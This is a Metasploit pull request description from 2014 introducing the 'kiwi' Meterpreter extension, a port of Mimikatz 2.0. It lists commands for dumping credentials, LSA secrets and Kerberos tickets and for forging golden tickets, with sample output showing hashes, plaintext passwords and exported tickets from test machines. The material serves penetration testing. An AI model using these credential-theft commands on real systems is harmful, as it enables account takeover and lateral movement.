rapid7/metasploit-framework — pull request #3121 by OJ (2014-03-19 09:04:30+00:00)
Title: The new kiwi extension (mimikatz 2.0)

This PR contains the metasploit code which exposes the features in the new Meterpreter extension called **kiwi**, which encompasses Mimikatz 2.0 functionality created by Ben Delpy.

The Meterpreter side of the PR is located here: https://github.com/rapid7/meterpreter/pull/79

## Why Kiwi?

The original Mimikatz works just fine and manages to target quite a few platforms. In the updated version of Mimikatz, Ben had to drop support for the older platforms because the new stuff relies on API functions which don't exist in the older operating systems.

Rather than completely replace the mimikatz extension with this new functionaily (and hence lose support for older platforms), we decided to create a new extension which can sit alongside the existing one that contains features for the newer operating systems. We have called this `kiwi` because this is the same as what Ben himself chose as a name for this release of Mimikatz. This extension is targeted at all Windows operating systems that are up to date with service packs. Some of the features might work on older operating systems or SP versions, but at this time i'm not sure which.

## A note on the UI

When `kiwi` is loaded the UI shows the following:

```
meterpreter > use kiwi
Loading extension kiwi...

.#####. mimikatz 2.0 alpha (x86/win32) release "Kiwi en C"
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */

success.
```

This banner has been included to give credit to the original author for his hard work on Mimikatz v2.0.

## Features

The features that have been enabled so far are:

```
Kiwi Commands
=============

Command Description
------- -----------
creds_all Attempt to retrieve all credentials
creds_kerberos Attempt to retrieve Kerberos creds
creds_livessp Attempt to retrieve LiveSSP creds
creds_msv Attempt to retrieve LM/NTLM creds (hashes)
creds_ssp Attempt to retrieve SSP creds
creds_tspkg Attempt to retrieve TsPkg creds
creds_wdigest Attempt to retrieve WDigest creds
golden_ticket_create Attempt to create a golden kerberos ticket
kerberos_ticket_list Attempt to list all kerberos tickets
kerberos_ticket_purge Attempt to purege any in-use kerberos tickets
kerberos_ticket_use Attempt to use a kerberos ticket
lsa_dump Attempt to dump LSA secrets

```

* The `creds_*` commands are the same as the original counterparts in the mimikatz extension, and dump in memory credentials (but in a nicer way).
* The `golden_ticket_create` command allows for the creation of the magic golden kerberos ticket which doesn't expire for ages. This ticket can be applied to sessions at other times.
* The `kerberos_ticket_use` command can take a dumped kerberos ticket (such as the golden ticket) and apply it to the current session.
* The `kerberos_ticket_purge` command removes all _applied_ kerberos tickets from the current session.
* The `kerberos_ticket_list` command dumps all the kerberos tickets that it can, and optionally writes them to disk on the attacker's machine.
* The `lsa_dump` command dumps all the LSA secrets from the target machine.

There are others that will be exposed over time, but before the PR gets any bigger (and before I finish my time with R7) this needs to get in. The goal was to have at least feature parity with the existing extension, but having a few more features is definitely a nice thing to have.

Here's a short sample run:

The `lsa_dump` command:
```
meterpreter > lsa_dump
[+] Running as SYSTEM
[*] Dumping LSA secrets
Policy Subsystem : 1.7
Domain/Computer : OJ-75E3B8CC9475
System Key : d584f214c9f28f448d1cf3f40df19337
NT5 Key :

NT6 Key Count : 0

Secret Count : 9

1. Name : 0083343a-f925-4ed7-b1d6-d95d17a0b57b-RemoteDesktopHelpAssistantAccount
1. Current :

2. Name : 0083343a-f925-4ed7-b1d6-d95d17a0b57b-RemoteDesktopHelpAssistantSID
2. Current : 01 05 00 00 00 00 00 05 15 00 00 00 d9 31 f8 42 2f d5 ec 6d 07 e5 3b 2b e8 03 00 00

3. Name : DefaultPassword
3. Current :
3. Old :

4. Name : DPAPI_SYSTEM
4. Current : 01 00 00 00 62 8b e5 1a 6e 69 e6 94 97 b2 7b 5b a9 e9 da 9f f3 85 3d 3b 7f 04 65 40 31 de 1c af 93 21 e6 0d 0c 84 54 e2 04 5e bb 14

5. Name : G${ED8F4747-E13D-47bc-856B-5CEFE1A81A7F}
5. Current : 64 78 91 da 86 ca de 46 aa c7 c7 31 02 36 39 d8

6. Name : L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75
6. Current : 52 53 41 32 48 00 00 00 00 02 00 00 3f 00 00 00 01 00 01 00 0d e9 86 6a e7 8d 7c 9a 63 6c d3 00 84 0e 63 06 42 f6 0d 7b 72 c5 ed 1c b6 55 a4 e1 8b d4 27 dc a3 48 0c 79 e8 6b b4 ba 9a fc 63 5b 0f 55 1b d3 85 9a 3e a4 85 f0 14 bb 6c cd 46 d2 b4 de 27 d4 00 00 00 00 00 00 00 00 91 8b 24 89 bd 12 6a a3 69 a7 27 5e 06 ae de 00 a2 3f f9 6d 5b a5 0d 2a 4a 20 46 68 49 bf 84 f1 00 00 00 00 bd 6f 88 dd dc a1 b9 b0 b5 ac 96 e0 2f b0 62 9f 44 22 c0 5c ad 38 f3 bb 59 a4 43 8d 1f 69 e0 e0 00 00 00 00 d1 23 af f2 a7 94 66 3a 0e d7 ca cf 16 01 8e 37 7f 22 a2 d0 a0 8c f4 85 90 76 38 f8 42 f1 06 b1 00 00 00 00 91 80 77 30 ce 97 59 e3 2f f0 bc dd c7 05 a6 ce 92 b1 50 f5 b7 b8 fb 22 1c bf 46 67 e6 d1 64 0c 00 00 00 00 58 4b cf 43 6d 8b 7f 3a ec f2 3a a7 00 78 c0 19 4a cf 99 48 99 7d 91 c0 63 4f e4 81 44 3d 1e 2b 00 00 00 00 01 15 b6 52 0c 18 48 85 9c 49 98 b6 03 e6 c2 00 a4 06 7d f3 ac c4 8d 23 e3 e4 66 46 2c 04 58 b2 90 9e d4 5c c3 17 e9 22 eb 02 18 55 72 7a 88 a5 19 18 8a 7a f9 b3 9f 24 bc 5b 64 ea c8 32 aa 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

7. Name : L$RTMTIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588
7. Current : 80 61 56 b2 11 d9 ce 01

8. Name : L${6B3E6424-AF3E-4bff-ACB6-DA535F0DDC0A}
8. Current : ff e2 fd c6 f9 34 65 2b f8 cb ce ea e9 d7 97 6d 89 a6 15 9b 2b 2d ed 46 ad 54 41 71 43 a4 75 a5 7a 59 b9 67 bb d9 50 0a 06 7b b2 02 c4 70 10 76 b3 b9 e7 27 d8 2f e9 27
8. Old : ff e2 fd c6 f9 34 65 2b f8 cb ce ea e9 d7 97 6d 89 a6 15 28 6a 4d 52 d8 5c 18 84 4c 4a ab 48 87 f2 1f 3d e4 14 47 6d 17 80 6a 13 06 08 e8 24 04 71 9b ce 59 fe 0c de 16

9. Name : NL$KM
9. Current : c4 14 61 c3 61 ab ba 37 df 4b 23 83 f7 dd b4 25 04 ce 82 c2 28 74 2c 8d f4 a7 cb df 16 19 5c 1a 8d 72 11 24 08 bb ca ee cd 16 ca cb 39 99 93 d2 35 ba 2a 10 0c d8 ec f4 16 76 ff 1c e6 bc b6 00

SAM Key Count : 4

1. RID : 500
1. User : Administrator
1. LM Hash :
1. NTLM Hash :

2. RID : 1000
2. User : HelpAssistant
2. LM Hash :
2. NTLM Hash :

3. RID : 1002
3. User : SUPPORT_388945a0
3. NTLM Hash :

4. RID : 1005
4. User : alice
4. LM Hash :
4. NTLM Hash :
```

The `kerberos_ticket_list` command (scroll right):
```
meterpreter > kerberos_list -e -p /tmp

Kerberos Tickets
================

Server Client Start End Max Renew Flags Export Path
------ ------ ----- --- --------- ----- -----------
GC/oj-ymwi36tqjzs0.pwn.local/pwn.local @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 02:13:49.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-GC-oj-ymwi36tqjzs0.pwn.local-pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-TgcfmPDc.tkt
LDAP/oj-ymwi36tqjzs0.pwn.local/PWNDC @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 02:15:21.00 2014-03-19 12:14:08.00 2014-03-26 02:14:08.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-LDAP-oj-ymwi36tqjzs0.pwn.local-PWNDC-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-BYCknrkC.tkt
LDAP/oj-ymwi36tqjzs0.pwn.local/pwn.local @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 01:59:42.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-LDAP-oj-ymwi36tqjzs0.pwn.local-pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-cRqmvXbl.tkt
OJ-YMWI36TQJZS0$ @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 02:00:22.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-OJ-YMWI36TQJZS0--@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-SjIbiVTT.tkt
cifs/oj-ymwi36tqjzs0.pwn.local @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 02:00:21.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-cifs-oj-ymwi36tqjzs0.pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-JnAfoccb.tkt
host/oj-ymwi36tqjzs0.pwn.local @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 01:59:19.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-host-oj-ymwi36tqjzs0.pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-WSzjNgOK.tkt
krbtgt/PWN.LOCAL @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 02:14:08.00 2014-03-19 12:14:08.00 2014-03-26 02:14:08.00 40e00000 (PRE AUTHENT, INITIAL, RENEWABLE, FORWARDABLE) /tmp/kerb-krbtgt-PWN.LOCAL-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-OIfzzzZh.tkt
krbtgt/PWN.LOCAL @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 01:59:19.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 60a00000 (PRE AUTHENT, RENEWABLE, FORWARDED, FORWARDABLE) /tmp/kerb-krbtgt-PWN.LOCAL-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-TaKgZwfo.tkt
ldap/OJ-YMWI36TQJZS0 @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 01:59:19.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-ldap-OJ-YMWI36TQJZS0-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-oSptUyLx.tkt
ldap/oj-ymwi36tqjzs0.pwn.local @ PWN.LOCAL oj-ymwi36tqjzs0$ @ PWN.LOCAL 2014-03-19 01:59:42.00 2014-03-19 11:59:19.00 2014-03-26 01:59:19.00 40a40000 (OK AS DELEGATE, PRE AUTHENT, RENEWABLE, FORWARDABLE) /tmp/kerb-ldap-oj-ymwi36tqjzs0.pwn.local-@-PWN.LOCAL-oj-ymwi36tqjzs0--@-PWN.LOCAL-JKJFkbap.tkt

Total Tickets : 10
```

The `creds_all` command:
```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
all credentials
===============

Domain User Password Auth Id LM Hash NTLM Hash
------ ---- -------- ------- ------- ---------
WIN-KM66F94HDLL OJ 0 ; 269718 921988ba001dc8e14a3b108f3fa6cb e19ccf75ee54e06b06a5907af13cef
WIN-KM66F94HDLL OJ P@ssw0rd 0 ; 269718
WIN-KM66F94HDLL OJ P@ssw0rd 0 ; 269718
WIN-KM66F94HDLL OJ P@ssw0rd 0 ; 269718
WIN-KM66F94HDLL OJ 0 ; 269680 921988ba001dc8e14a3b108f3fa6cb e19ccf75ee54e06b06a5907af13cef
WIN-KM66F94HDLL OJ P@ssw0rd 0 ; 269680
WIN-KM66F94HDLL OJ P@ssw0rd 0 ; 269680
WIN-KM66F94HDLL OJ P@ssw0rd 0 ; 269680
WORKGROUP WIN-KM66F94HDLL$ 0 ; 996
WORKGROUP win-km66f94hdll$ 0 ; 996
WORKGROUP WIN-KM66F94HDLL$ 0 ; 999
WORKGROUP win-km66f94hdll$ 0 ; 999
```

I don't have a proper kerberos domain set up so I can't really test the golden ticket thing. However, @mubix has tested this in the past and said that it appeared to work well for him, so I hope this will continue to be the case for you guys.

Feedback greatly appreciated!